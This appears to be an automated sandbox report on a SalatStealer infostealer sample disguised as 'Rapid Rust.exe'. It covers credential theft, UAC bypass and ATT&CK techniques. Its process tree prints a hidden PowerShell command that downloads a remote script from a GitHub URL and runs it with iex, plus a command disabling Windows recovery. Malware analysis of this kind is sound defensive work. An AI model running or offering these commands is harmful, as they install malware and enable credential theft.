Resubmissions
09/06/2026, 16:13
260609-tpchqsew9q05/07/2025, 13:22
250705-ql79fszls41005/07/2025, 13:16
250705-qh6w8ayxcw1005/07/2025, 13:15
250705-qg8dnazky710Analysis
- max time kernel
141s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20250610-en - resource tags
- submitted
05/07/2025, 13:22
General
- Target rpd/Rapid Rust.exe
- Size 148KB
- Sample250705-ql79fszls4
- SHA256 563664af8d969e4a2433d927cde86c95d3ba42603b30fd3e50a8b8c53f763ae1
Malware Config
Signatures
- Detect SalatStealer payload 18 IoCs
- Salatstealer family
- UAC bypass 3 TTPs 1 IoCs
- salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Blocklisted process makes network request 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Drops file in Drivers directory 1 IoCs
- Executes dropped EXE 4 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Drops file in System32 directory 2 IoCs
- UPX packed file 23 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 2 IoCs
- Drops file in Windows directory 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 51 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\rpd\Rapid Rust.exe"C:\Users\Admin\AppData\Local\Temp\rpd\Rapid Rust.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm 'https://raw.githubusercontent.com/wetiee/oculushelp/main/boyy.ps1' | iex"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\katysaneur.exe"C:\Users\Admin\AppData\Local\Temp\katysaneur.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\svchost.exeC:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\svchost.exe4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe5⤵
- UAC bypass
- Drops file in Drivers directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\ReAgentc.exe"C:\Windows\system32\ReAgentc.exe" /disable6⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
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C:\Program Files (x86)\Microsoft\Edge\Application\svchost.exe"C:\Program Files (x86)\Microsoft\Edge\Application\svchost.exe" -5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
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C:\Program Files\Google\Chrome\Application\svchost.exe"C:\Program Files\Google\Chrome\Application\svchost.exe" -5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
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C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
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C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
1Disable or Modify Tools
1Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
4Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_r0ze0ekg.k4p.ps1
katysaneur.exe
memory/552-91-0x0000000007600000-0x0000000007614000-memory.dmp
memory/552-94-0x0000000007700000-0x0000000007722000-memory.dmp
memory/552-67-0x00000000078B0000-0x0000000007F2A000-memory.dmp
memory/552-95-0x00000000084E0000-0x0000000008A84000-memory.dmp
memory/552-68-0x0000000007250000-0x000000000726A000-memory.dmp
memory/552-93-0x0000000007640000-0x0000000007648000-memory.dmp
memory/552-92-0x0000000007700000-0x000000000771A000-memory.dmp
memory/552-90-0x00000000075F0000-0x00000000075FE000-memory.dmp
memory/552-89-0x00000000075C0000-0x00000000075D1000-memory.dmp
memory/552-88-0x0000000007660000-0x00000000076F6000-memory.dmp
memory/552-87-0x0000000007580000-0x000000000758A000-memory.dmp
memory/552-75-0x0000000070810000-0x0000000070B64000-memory.dmp
memory/552-39-0x0000000002580000-0x00000000025B6000-memory.dmp
memory/552-86-0x0000000007480000-0x0000000007523000-memory.dmp
memory/552-41-0x0000000005230000-0x0000000005858000-memory.dmp
memory/552-43-0x0000000004EC0000-0x0000000004EE2000-memory.dmp
memory/552-45-0x0000000005100000-0x0000000005166000-memory.dmp
memory/552-85-0x0000000007460000-0x000000000747E000-memory.dmp
memory/552-44-0x0000000004F60000-0x0000000004FC6000-memory.dmp
memory/552-55-0x0000000005960000-0x0000000005CB4000-memory.dmp
memory/552-57-0x0000000005ED0000-0x0000000005F1C000-memory.dmp
memory/552-73-0x0000000007420000-0x0000000007452000-memory.dmp
memory/552-74-0x0000000070010000-0x000000007005C000-memory.dmp
memory/552-63-0x0000000006430000-0x0000000006474000-memory.dmp
memory/552-56-0x0000000005EB0000-0x0000000005ECE000-memory.dmp
memory/552-66-0x00000000071B0000-0x0000000007226000-memory.dmp
memory/1628-11-0x0000018B6AC80000-0x0000018B6ACA2000-memory.dmp
memory/1628-12-0x0000018B6B280000-0x0000018B6B442000-memory.dmp
memory/1628-1-0x0000018B68A60000-0x0000018B68A70000-memory.dmp
memory/1628-20-0x0000018B68A60000-0x0000018B68A70000-memory.dmp
memory/1628-0-0x0000018B68A60000-0x0000018B68A70000-memory.dmp
memory/1956-42-0x0000000000C30000-0x00000000017B9000-memory.dmp
memory/1956-40-0x0000000000C30000-0x00000000017B9000-memory.dmp
memory/2644-65-0x0000000000190000-0x0000000000D19000-memory.dmp
memory/2644-62-0x0000000000190000-0x0000000000D19000-memory.dmp
memory/5112-106-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-101-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-110-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-31-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-33-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-34-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-109-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-99-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-100-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-108-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-102-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-104-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-105-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5112-107-0x0000000000660000-0x00000000011E9000-memory.dmp
memory/5964-26-0x0000000000ED0000-0x0000000001A59000-memory.dmp
memory/5964-25-0x0000000000ED0000-0x0000000001A59000-memory.dmp
memory/5964-24-0x0000000000ED0000-0x0000000001A59000-memory.dmp
memory/5964-32-0x0000000000ED0000-0x0000000001A59000-memory.dmp